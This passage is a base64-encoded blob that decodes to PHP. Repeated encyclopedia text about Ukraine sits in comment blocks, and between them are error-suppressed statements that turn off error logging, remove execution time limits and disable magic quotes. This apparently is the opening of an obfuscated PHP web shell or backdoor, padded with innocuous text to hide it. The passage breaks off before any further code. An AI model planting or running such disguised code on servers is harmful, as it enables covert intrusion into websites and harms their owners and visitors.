UgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwpAc2V0X3RpbWVfbGltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZW